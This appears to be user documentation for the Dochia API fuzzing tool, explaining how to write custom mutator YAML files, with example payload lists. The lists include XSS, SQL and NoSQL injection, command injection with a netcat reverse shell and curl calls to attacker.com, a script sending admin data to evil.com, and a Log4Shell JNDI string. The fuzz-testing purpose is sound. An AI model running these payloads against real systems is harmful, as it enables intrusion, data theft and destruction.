Custom Mutators
Custom mutators allow you to extend Dochia's fuzzing capabilities by defining your own mutation logic and payloads. This is particularly useful for testing domain-specific vulnerabilities, custom injection patterns, or specialized attack vectors relevant to your application.
Overview
Custom mutators are YAML files that define how to mutate request data during fuzzing. They can be used alongside or instead of the built-in mutators to create targeted fuzzing campaigns for specific vulnerability types.
Mutator Types
Dochia supports 6 different mutator types, each with specific behavior:
REPLACE
Replaces the entire field value with the mutator's payload.
Use Case: Complete value substitution, testing different data types
Example: Replace "user@example.com" with "<script>alert(1)</script>"
INSERT
Inserts the mutator's payload within the existing field value.
Use Case: Injection testing while preserving some original content
Example: "username" becomes "user<script>name"
PREFIX
Adds the mutator's payload to the beginning of the field value.
Use Case: Testing prefix-based vulnerabilities, protocol confusion
Example: "data" becomes "javascript:alert(1)data"
TRAIL
Adds the mutator's payload to the end of the field value.
Use Case: Testing suffix-based vulnerabilities, comment injection
Example: "query" becomes "query'; DROP TABLE users; --"
REPLACE_BODY
Replaces the entire request body with the mutator's payload.
Use Case: Testing body-level vulnerabilities, format confusion Example: Replace JSON body with XML or malformed content
IN_BODY
Injects the mutator's payload somewhere within the request body.
Use Case: Body injection testing while preserving structure Example: Inject payloads into JSON values while keeping structure
Mutator File Format
Custom mutators are defined in YAML files with the following structure:
name: <mutator-name>
type: <mutator-type>
values:
- <payload1>
- <payload2>
- <payload3>
Or reference an external file:
name: <mutator-name>
type: <mutator-type>
values: <path-to-file>
Usage
Basic Usage
# Use custom mutators from a folder
dochia fuzz -c api.yml -s https://api.example.com \
-p /endpoint -X POST \
--mutators ./custom-mutators/
With Built-in Mutators
Custom mutators work alongside built-in mutators during fuzzing sessions:
# Custom mutators will be mixed with built-in ones
dochia fuzz -c api.yml -s https://api.example.com \
-p /endpoint -X POST \
--mutators ./my-mutators/ \
--stop-after-time-in-sec 300
Examples
XSS Testing Mutator
Create a file xss-mutator.yml:
name: xss mutator
type: replace
values:
- "<script>"
- "alert(1)"
- "console.log('hack')"
- "<img src=x onerror=alert(1)>"
- "javascript:alert(document.domain)"
- "<svg onload=alert(1)>"
SQL Injection Mutator
Create a file sql-injection.yml:
name: sql injection
type: trail
values:
- "'; DROP TABLE users; --"
- "' OR '1'='1"
- "' UNION SELECT * FROM users --"
- "'; INSERT INTO users VALUES ('hacker', 'password'); --"
- "' AND 1=CONVERT(int, (SELECT @@version)) --"
NoSQL Injection from File
Create a file nosql-injection.yml:
name: nosql from file
type: replace
values: ../nosql.txt
And create nosql.txt with payloads:
{"$ne": null}
{"$regex": ".*"}
{"$where": "function() { return true; }"}
{"$gt": ""}
Command Injection Mutator
Create a file command-injection.yml:
name: command injection
type: insert
values:
- "; ls -la"
- "| whoami"
- "&& cat /etc/passwd"
- "; curl http://attacker.com/$(whoami)"
- "| nc -e /bin/sh attacker.com 4444"
LDAP Injection Mutator
Create a file ldap-injection.yml:
name: ldap injection
type: prefix
values:
- "*"
- "*)(uid=*"
- "*)(|(uid=*"
- "*)(&(uid=*"
- "*))%00"
Body Replacement Mutator
Create a file body-replacement.yml:
name: malformed bodies
type: replace_body
values:
- '<?xml version="1.0"?><root>test</root>'
- '{"malformed": json}'
- 'plain text body'
- '<html><body>HTML content</body></html>'
- 'BINARY_DATA_HERE'
Advanced Examples
Multi-Stage Attack Mutator
Create a file multi-stage.yml:
name: multi-stage attack
type: replace
values:
- "admin'; UPDATE users SET role='admin' WHERE username='victim'; --"
- "<script>fetch('/admin/users').then(r=>r.text()).then(d=>fetch('http://evil.com',{method:'POST',body:d}))</script>"
- "${jndi:ldap://evil.com/exploit}"
- "{{7*7}}"
- "<%=7*7%>"
Protocol Confusion Mutator
Create a file protocol-confusion.yml:
name: protocol confusion
type: prefix
values:
- "file://"
- "ftp://"
- "gopher://"
- "dict://"
- "ldap://"
- "jar:http://evil.com!/"
Best Practices
1. Organize by Vulnerability Type
custom-mutators/
├── xss/
│ ├── reflected-xss.yml
│ ├── stored-xss.yml
│ └── dom-xss.yml
├── injection/
│ ├── sql-injection.yml
│ ├── nosql-injection.yml
│ └── command-injection.yml
└── business-logic/
├── privilege-escalation.yml
└── workflow-bypass.yml
2. Use External Files for Large Payloads
name: comprehensive xss
type: replace
values: ./payloads/xss-comprehensive.txt
3. Combine Different Types
Create multiple mutators with different types for comprehensive testing:
# prefix-xss.yml
name: xss prefix
type: prefix
values:
- "<script>alert('prefix')</script>"
# suffix-xss.yml
name: xss suffix
type: trail
values:
- "<script>alert('suffix')</script>"
4. Domain-Specific Mutators
Create mutators specific to your application's domain:
# financial-app.yml
name: financial injection
type: replace
values:
- "0.00"
- "-999999.99"
- "NULL"
- "../../etc/passwd"
- "${account.balance * 0}"
Testing Custom Mutators
Validate Mutator Files
Before using custom mutators in production fuzzing:
# Test with a short fuzzing session
dochia fuzz -c api.yml -s https://api.example.com \
-p /test-endpoint -X POST \
--mutators ./custom-mutators/ \
--stop-after-mutations 10 \
--match-response-codes 500
Monitor Results
Use appropriate match criteria to identify successful mutations:
# Look for error responses and input reflection
dochia fuzz -c api.yml -s https://api.example.com \
-p /endpoint -X POST \
--mutators ./custom-mutators/ \
--match-response-codes 500 \
--match-input \
--match-response-regex "error|exception|syntax"
See Also
- Fuzzing Overview - General fuzzing concepts and built-in mutators
- Playbooks Overview - Alternative structured testing approach
- Best Practices - Security testing best practices